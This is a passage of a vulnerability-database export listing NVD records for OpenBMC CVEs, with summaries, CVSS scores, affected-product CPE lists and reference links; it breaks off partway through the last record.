Vulnerabilites related to openbmc-project - openbmc
Vulnerability from fkie_nvd
Published
2020-06-15 18:15
Modified
2024-11-21 05:02
Severity ?
Summary
user_channel/passwd_mgr.cpp in OpenBMC phosphor-host-ipmid before 2020-04-03 does not ensure that /etc/ipmi-pass has strong file permissions.
References
| ▼ | URL | Tags | |
|---|---|---|---|
| cve@mitre.org | https://github.com/openbmc/openbmc/issues/3670 | Third Party Advisory | |
| cve@mitre.org | https://github.com/openbmc/phosphor-host-ipmid/commit/b265455a2518ece7c004b43c144199ec980fc620 | Patch, Third Party Advisory | |
| cve@mitre.org | https://lists.ozlabs.org/pipermail/openbmc/2020-June/022020.html | Mailing List, Third Party Advisory | |
| af854a3a-2127-422b-91ae-364da2661108 | https://github.com/openbmc/openbmc/issues/3670 | Third Party Advisory | |
| af854a3a-2127-422b-91ae-364da2661108 | https://github.com/openbmc/phosphor-host-ipmid/commit/b265455a2518ece7c004b43c144199ec980fc620 | Patch, Third Party Advisory | |
| af854a3a-2127-422b-91ae-364da2661108 | https://lists.ozlabs.org/pipermail/openbmc/2020-June/022020.html | Mailing List, Third Party Advisory |
Impacted products
| Vendor | Product | Version | |
|---|---|---|---|
| openbmc-project | openbmc | * |
{
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:openbmc-project:openbmc:*:*:*:*:*:*:*:*",
"matchCriteriaId": "AE58FF9E-003C-46AB-9FCE-2A21807009C7",
"versionEndExcluding": "2020-04-03",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "user_channel/passwd_mgr.cpp in OpenBMC phosphor-host-ipmid before 2020-04-03 does not ensure that /etc/ipmi-pass has strong file permissions."
},
{
"lang": "es",
"value": "el archivo user_channel/passwd_mgr.cpp en OpenBMC phosphor-host-ipmid antes del 03-04-2020 no garantiza que /etc/ipmi-pass tenga permisos de archivo s\u00f3lidos"
}
],
"id": "CVE-2020-14156",
"lastModified": "2024-11-21T05:02:45.660",
"metrics": {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "SINGLE",
"availabilityImpact": "PARTIAL",
"baseScore": 6.5,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.0,
"impactScore": 6.4,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
}
],
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
]
},
"published": "2020-06-15T18:15:15.207",
"references": [
{
"source": "cve@mitre.org",
"tags": [
"Third Party Advisory"
],
"url": "https://github.com/openbmc/openbmc/issues/3670"
},
{
"source": "cve@mitre.org",
"tags": [
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/openbmc/phosphor-host-ipmid/commit/b265455a2518ece7c004b43c144199ec980fc620"
},
{
"source": "cve@mitre.org",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://lists.ozlabs.org/pipermail/openbmc/2020-June/022020.html"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory"
],
"url": "https://github.com/openbmc/openbmc/issues/3670"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/openbmc/phosphor-host-ipmid/commit/b265455a2518ece7c004b43c144199ec980fc620"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://lists.ozlabs.org/pipermail/openbmc/2020-June/022020.html"
}
],
"sourceIdentifier": "cve@mitre.org",
"vulnStatus": "Modified",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-276"
}
],
"source": "nvd@nist.gov",
"type": "Primary"
}
]
}
Vulnerability from fkie_nvd
Published
2022-10-27 13:15
Modified
2024-11-21 07:19
Severity ?
8.2 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H
7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Summary
A vulnerability in bmcweb of OpenBMC Project allows user to cause denial of service. This vulnerability was identified during mitigation for CVE-2022-2809. When fuzzing the multipart_parser code using AFL++ with address sanitizer enabled to find smallest memory corruptions possible. It detected problem in how multipart_parser handles unclosed http headers. If long enough http header is passed in the multipart form without colon there is one byte overwrite on heap. It can be conducted multiple times in a loop to cause DoS.
References
| ▼ | URL | Tags | |
|---|---|---|---|
| openbmc-security@lists.ozlabs.org | https://github.com/openbmc/bmcweb | Product, Third Party Advisory | |
| af854a3a-2127-422b-91ae-364da2661108 | https://github.com/openbmc/bmcweb | Product, Third Party Advisory |
Impacted products
| Vendor | Product | Version | |
|---|---|---|---|
| openbmc-project | openbmc | * |
{
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:openbmc-project:openbmc:*:*:*:*:*:*:*:*",
"matchCriteriaId": "A97D389D-CCB5-42DF-BB5F-BD62F4DF4A11",
"versionEndIncluding": "2.13.0",
"versionStartIncluding": "2.10.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "A vulnerability in bmcweb of OpenBMC Project allows user to cause denial of service. This vulnerability was identified during mitigation for CVE-2022-2809. When fuzzing the multipart_parser code using AFL++ with address sanitizer enabled to find smallest memory corruptions possible. It detected problem in how multipart_parser handles unclosed http headers. If long enough http header is passed in the multipart form without colon there is one byte overwrite on heap. It can be conducted multiple times in a loop to cause DoS."
},
{
"lang": "es",
"value": "Una vulnerabilidad en bmcweb del OpenBMC Project permite al usuario provocar una denegaci\u00f3n de servicio. Esta vulnerabilidad se identific\u00f3 durante la mitigaci\u00f3n de CVE-2022-2809. Al difuminar el c\u00f3digo multipart_parser usando AFL++ con el sanitizador de direcciones habilitado para encontrar las corrupciones de memoria m\u00e1s peque\u00f1as posibles. Detect\u00f3 un problema en c\u00f3mo multipart_parser maneja los encabezados http no cerrados. Si se pasa un encabezado http lo suficientemente largo en formato de varias partes sin dos puntos, se sobrescribe un byte en la memoria. Se puede realizar varias veces en un bucle para provocar DoS."
}
],
"id": "CVE-2022-3409",
"lastModified": "2024-11-21T07:19:27.627",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 4.2,
"source": "openbmc-security@lists.ozlabs.org",
"type": "Secondary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
]
},
"published": "2022-10-27T13:15:11.047",
"references": [
{
"source": "openbmc-security@lists.ozlabs.org",
"tags": [
"Product",
"Third Party Advisory"
],
"url": "https://github.com/openbmc/bmcweb"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Product",
"Third Party Advisory"
],
"url": "https://github.com/openbmc/bmcweb"
}
],
"sourceIdentifier": "openbmc-security@lists.ozlabs.org",
"vulnStatus": "Modified",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-121"
},
{
"lang": "en",
"value": "CWE-229"
}
],
"source": "openbmc-security@lists.ozlabs.org",
"type": "Secondary"
},
{
"description": [
{
"lang": "en",
"value": "CWE-787"
}
],
"source": "nvd@nist.gov",
"type": "Primary"
}
]
}
Vulnerability from fkie_nvd
Published
2023-02-16 21:15
Modified
2024-11-21 07:11
Severity ?
7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Summary
Out of bounds read in firmware for OpenBMC in some Intel(R) platforms before version 0.72 may allow unauthenticated user to potentially enable denial of service via network access.
References
Impacted products
{
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:openbmc-project:openbmc:*:*:*:*:*:*:*:*",
"matchCriteriaId": "1BE0DDEB-4CDB-4958-A96A-636C00C122D8",
"versionEndExcluding": "0.72",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:intel:c621a:-:*:*:*:*:*:*:*",
"matchCriteriaId": "F2364774-DA5C-48BF-AEDB-E97BFED643F6",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:c624a:-:*:*:*:*:*:*:*",
"matchCriteriaId": "0A12BCD5-2400-4846-862C-C966F146A828",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:c627a:-:*:*:*:*:*:*:*",
"matchCriteriaId": "2BBE62C7-76BD-4684-8CDE-68DBFF4E5280",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:c629a:-:*:*:*:*:*:*:*",
"matchCriteriaId": "C8B0316B-1968-4502-955D-78E9BDC2E30C",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_gold_5315y:-:*:*:*:*:*:*:*",
"matchCriteriaId": "6839AE9B-9A8A-4312-80FC-0549C675A815",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_gold_5317:-:*:*:*:*:*:*:*",
"matchCriteriaId": "1E0E7358-1EC1-43DA-99B3-A2D6D57E0121",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_gold_5318h:-:*:*:*:*:*:*:*",
"matchCriteriaId": "43808CCF-1EF0-41CE-983D-DD6BB775895E",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_gold_5318n:-:*:*:*:*:*:*:*",
"matchCriteriaId": "F2C5D3DE-5506-4F16-B7F9-5032A1277D23",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_gold_5318s:-:*:*:*:*:*:*:*",
"matchCriteriaId": "ED598260-2A9B-46F7-AA85-0DA97DA0D42D",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_gold_5318y:-:*:*:*:*:*:*:*",
"matchCriteriaId": "06F1CFD2-8F32-4CE8-9D9B-C65B332775B8",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_gold_5320:-:*:*:*:*:*:*:*",
"matchCriteriaId": "7DD98889-58A1-4A5A-B79A-B2DA9EDA63DA",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_gold_5320h:-:*:*:*:*:*:*:*",
"matchCriteriaId": "3BF1F73B-4736-40BC-9053-951B5BF1059E",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_gold_5320t:-:*:*:*:*:*:*:*",
"matchCriteriaId": "EDA47606-176C-4F6B-A316-4C536B63FA4E",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_gold_6312u:-:*:*:*:*:*:*:*",
"matchCriteriaId": "AF7D9572-8D03-4D54-B0E1-C0A3F3F90FCF",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_gold_6314u:-:*:*:*:*:*:*:*",
"matchCriteriaId": "FE3CA224-B5DE-4451-9CF9-929ABEA242EF",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_gold_6326:-:*:*:*:*:*:*:*",
"matchCriteriaId": "A3D8E340-AE91-4F29-9F22-E0CE6718FC13",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_gold_6328h:-:*:*:*:*:*:*:*",
"matchCriteriaId": "710DBCD5-788D-4140-AC16-EC6E126CFA66",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_gold_6328hl:-:*:*:*:*:*:*:*",
"matchCriteriaId": "A767EC83-AAED-4FEA-A35E-A503369FE4FB",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_gold_6330:-:*:*:*:*:*:*:*",
"matchCriteriaId": "FB1ACDED-85B4-4A11-BD03-8E1B9563B7F0",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_gold_6330h:-:*:*:*:*:*:*:*",
"matchCriteriaId": "D6C4A47D-7F66-4ACC-9C69-0A355D46CDC1",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_gold_6330n:-:*:*:*:*:*:*:*",
"matchCriteriaId": "20821868-F7D2-4132-8D63-98E1089DB46C",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_gold_6334:-:*:*:*:*:*:*:*",
"matchCriteriaId": "4EB9295A-8832-4670-B268-FBD0BC086447",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_gold_6336y:-:*:*:*:*:*:*:*",
"matchCriteriaId": "489BD4AC-50C6-422B-A2B2-00A70E611114",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_gold_6338:-:*:*:*:*:*:*:*",
"matchCriteriaId": "C5694238-F4E5-4689-ADD2-67C25762ED92",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_gold_6338n:-:*:*:*:*:*:*:*",
"matchCriteriaId": "A57D44C0-AA8D-46B0-8923-ADB312E3937F",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_gold_6338t:-:*:*:*:*:*:*:*",
"matchCriteriaId": "3A551BBB-76CD-4C26-913F-B02C66E5D846",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_gold_6342:-:*:*:*:*:*:*:*",
"matchCriteriaId": "8A4A44F2-68BF-4709-946B-C976DA3A9C7E",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_gold_6346:-:*:*:*:*:*:*:*",
"matchCriteriaId": "038AC553-5523-4687-843D-6FEA7264EDEA",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_gold_6348:-:*:*:*:*:*:*:*",
"matchCriteriaId": "8DE5D09C-3272-4810-9F41-97BDBBFE4160",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_gold_6348h:-:*:*:*:*:*:*:*",
"matchCriteriaId": "59C5122F-D822-4E71-A417-88EB51F1786B",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_gold_6354:-:*:*:*:*:*:*:*",
"matchCriteriaId": "F14C3438-B876-45B9-85F5-61354207AF8A",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_platinum_8351n:-:*:*:*:*:*:*:*",
"matchCriteriaId": "D7C504C3-7EEE-4A0F-8589-19C1E806E690",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_platinum_8352m:-:*:*:*:*:*:*:*",
"matchCriteriaId": "5230F6AF-88CB-4EE2-B292-8B9A7217D10F",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_platinum_8352s:-:*:*:*:*:*:*:*",
"matchCriteriaId": "5B45C39D-03E8-46C1-88DD-94E382F4A961",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_platinum_8352v:-:*:*:*:*:*:*:*",
"matchCriteriaId": "EF2DC691-025A-441E-AAC2-C8583F54733D",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_platinum_8352y:-:*:*:*:*:*:*:*",
"matchCriteriaId": "E8FB7EE6-6808-4879-A0A3-E85FE5CB37CF",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_platinum_8353h:-:*:*:*:*:*:*:*",
"matchCriteriaId": "EBE07EA7-4CDF-4038-A948-6AC126C7F6AD",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_platinum_8354h:-:*:*:*:*:*:*:*",
"matchCriteriaId": "06A2241C-37AE-41AE-A8D1-D9AB18CCE16D",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_platinum_8356h:-:*:*:*:*:*:*:*",
"matchCriteriaId": "BB6DEAA1-3209-4B49-B931-43E8C1C5BE14",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_platinum_8358:-:*:*:*:*:*:*:*",
"matchCriteriaId": "CCE086F8-5C8B-4F0C-B53A-76BD4E67B678",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_platinum_8358p:-:*:*:*:*:*:*:*",
"matchCriteriaId": "00B21B5C-0FDE-4A8E-A9FC-5CF822A74B20",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_platinum_8360h:-:*:*:*:*:*:*:*",
"matchCriteriaId": "EB15368B-21A1-429E-8B9C-A095C4E8BA67",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_platinum_8360hl:-:*:*:*:*:*:*:*",
"matchCriteriaId": "BA925F96-6DDD-4F71-BF13-710C8A89D860",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_platinum_8360y:-:*:*:*:*:*:*:*",
"matchCriteriaId": "9E41414A-6B0B-4511-A9A1-7FF99DD25DB6",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_platinum_8362:-:*:*:*:*:*:*:*",
"matchCriteriaId": "91EB66B4-8F1B-4F35-9371-17FB761997CB",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_platinum_8368:-:*:*:*:*:*:*:*",
"matchCriteriaId": "CBDFD1AF-2716-4C95-ADFF-79EFA915C286",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_platinum_8368q:-:*:*:*:*:*:*:*",
"matchCriteriaId": "5390A12B-80BD-4889-BF0F-95E65D10D037",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_platinum_8376h:-:*:*:*:*:*:*:*",
"matchCriteriaId": "C1D6444A-B9CF-4D70-A8A9-E6B57B6F13DE",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_platinum_8376hl:-:*:*:*:*:*:*:*",
"matchCriteriaId": "05637A96-AF09-4FF5-A918-AB369AA2D1CC",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_platinum_8380:-:*:*:*:*:*:*:*",
"matchCriteriaId": "33FA0279-D587-471E-8EC0-211F78DA4DFD",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_platinum_8380h:-:*:*:*:*:*:*:*",
"matchCriteriaId": "D1CC27DB-11D4-412A-BC69-CF32A0CABCF8",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_platinum_8380hl:-:*:*:*:*:*:*:*",
"matchCriteriaId": "E8FE9694-F0E7-4B45-82A1-065DA96B9794",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_silver_4309y:-:*:*:*:*:*:*:*",
"matchCriteriaId": "EB267830-FA6E-4C2E-8BBE-C3DA12A6A33D",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_silver_4310:-:*:*:*:*:*:*:*",
"matchCriteriaId": "D557D68C-8279-4BFD-9EA6-17A83754B8FF",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_silver_4310t:-:*:*:*:*:*:*:*",
"matchCriteriaId": "7ECA0BC9-1CA4-4B95-B98F-9098B2550309",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_silver_4314:-:*:*:*:*:*:*:*",
"matchCriteriaId": "1298CF87-124D-450B-928D-F39CCA2BAF42",
"vulnerable": false
},
{
"criteria": "cpe:2.3:h:intel:xeon_silver_4316:-:*:*:*:*:*:*:*",
"matchCriteriaId": "AF12820F-A2BE-44BF-A85D-7F4623898DAB",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "Out of bounds read in firmware for OpenBMC in some Intel(R) platforms before version 0.72 may allow unauthenticated user to potentially enable denial of service via network access."
}
],
"id": "CVE-2022-35729",
"lastModified": "2024-11-21T07:11:33.860",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "secure@intel.com",
"type": "Secondary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
]
},
"published": "2023-02-16T21:15:13.023",
"references": [
{
"source": "secure@intel.com",
"tags": [
"Vendor Advisory"
],
"url": "http://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00737.html"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Vendor Advisory"
],
"url": "http://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00737.html"
}
],
"sourceIdentifier": "secure@intel.com",
"vulnStatus": "Modified",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-125"
}
],
"source": "nvd@nist.gov",
"type": "Primary"
}
]
}
Vulnerability from fkie_nvd
Published
2022-10-27 13:15
Modified
2024-11-21 07:01
Severity ?
8.2 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H
7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Summary
A vulnerability in bmcweb of OpenBMC Project allows user to cause denial of service. When fuzzing the multipart_parser code using AFL++ with address sanitizer enabled to find smallest memory corruptions possible. It detected problem in how multipart_parser handles unclosed http headers. If long enough http header is passed in the multipart form without colon there is one byte overwrite on heap. It can be conducted multiple times in a loop to cause DoS.
References
| ▼ | URL | Tags | |
|---|---|---|---|
| openbmc-security@lists.ozlabs.org | https://github.com/openbmc/bmcweb | Product, Third Party Advisory | |
| af854a3a-2127-422b-91ae-364da2661108 | https://github.com/openbmc/bmcweb | Product, Third Party Advisory |
Impacted products
| Vendor | Product | Version | |
|---|---|---|---|
| openbmc-project | openbmc | * |
{
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:openbmc-project:openbmc:*:*:*:*:*:*:*:*",
"matchCriteriaId": "A97D389D-CCB5-42DF-BB5F-BD62F4DF4A11",
"versionEndIncluding": "2.13.0",
"versionStartIncluding": "2.10.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "A vulnerability in bmcweb of OpenBMC Project allows user to cause denial of service. When fuzzing the multipart_parser code using AFL++ with address sanitizer enabled to find smallest memory corruptions possible. It detected problem in how multipart_parser handles unclosed http headers. If long enough http header is passed in the multipart form without colon there is one byte overwrite on heap. It can be conducted multiple times in a loop to cause DoS."
},
{
"lang": "es",
"value": "Una vulnerabilidad en bmcweb del OpenBMC Project permite al usuario provocar una denegaci\u00f3n de servicio. Al difuminar el c\u00f3digo multipart_parser usando AFL++ con el sanitizador de direcciones habilitado para encontrar las corrupciones de memoria m\u00e1s peque\u00f1as posibles. Se detect\u00f3 un problema en c\u00f3mo multipart_parser maneja los encabezados http no cerrados. Si se pasa un encabezado http lo suficientemente largo en formato de varias partes sin dos puntos, se sobrescribe un byte en la memoria. Se puede realizar varias veces en un bucle para provocar DoS."
}
],
"id": "CVE-2022-2809",
"lastModified": "2024-11-21T07:01:44.037",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 4.2,
"source": "openbmc-security@lists.ozlabs.org",
"type": "Secondary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
]
},
"published": "2022-10-27T13:15:09.633",
"references": [
{
"source": "openbmc-security@lists.ozlabs.org",
"tags": [
"Product",
"Third Party Advisory"
],
"url": "https://github.com/openbmc/bmcweb"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Product",
"Third Party Advisory"
],
"url": "https://github.com/openbmc/bmcweb"
}
],
"sourceIdentifier": "openbmc-security@lists.ozlabs.org",
"vulnStatus": "Modified",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-122"
},
{
"lang": "en",
"value": "CWE-229"
}
],
"source": "openbmc-security@lists.ozlabs.org",
"type": "Secondary"
},
{
"description": [
{
"lang": "en",
"value": "CWE-787"
}
],
"source": "nvd@nist.gov",
"type": "Primary"
}
]
}
Vulnerability from fkie_nvd
Published
2023-04-15 20:16
Modified
2024-11-21 06:19
Severity ?
Summary
In OpenBMC 2.9, crafted IPMI messages allow an attacker to cause a denial of service to the BMC via the netipmid (IPMI lan+) interface.
References
Impacted products
| Vendor | Product | Version | |
|---|---|---|---|
| openbmc-project | openbmc | 2.9.0 |
{
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:openbmc-project:openbmc:2.9.0:-:*:*:*:*:*:*",
"matchCriteriaId": "FCEA7190-90D4-4D7A-8DE1-7E4299EC0488",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "In OpenBMC 2.9, crafted IPMI messages allow an attacker to cause a denial of service to the BMC via the netipmid (IPMI lan+) interface."
}
],
"id": "CVE-2021-39295",
"lastModified": "2024-11-21T06:19:08.373",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
]
},
"published": "2023-04-15T20:16:00.667",
"references": [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/google/security-research/security/advisories/GHSA-gg9x-v835-m48q"
},
{
"source": "cve@mitre.org",
"tags": [
"Release Notes"
],
"url": "https://github.com/openbmc/docs/blob/master/release/release-notes.md"
},
{
"source": "cve@mitre.org",
"tags": [
"Product"
],
"url": "https://github.com/openbmc/openbmc"
},
{
"source": "cve@mitre.org",
"tags": [
"Not Applicable"
],
"url": "https://github.com/openbmc/openbmc/issues/3811"
},
{
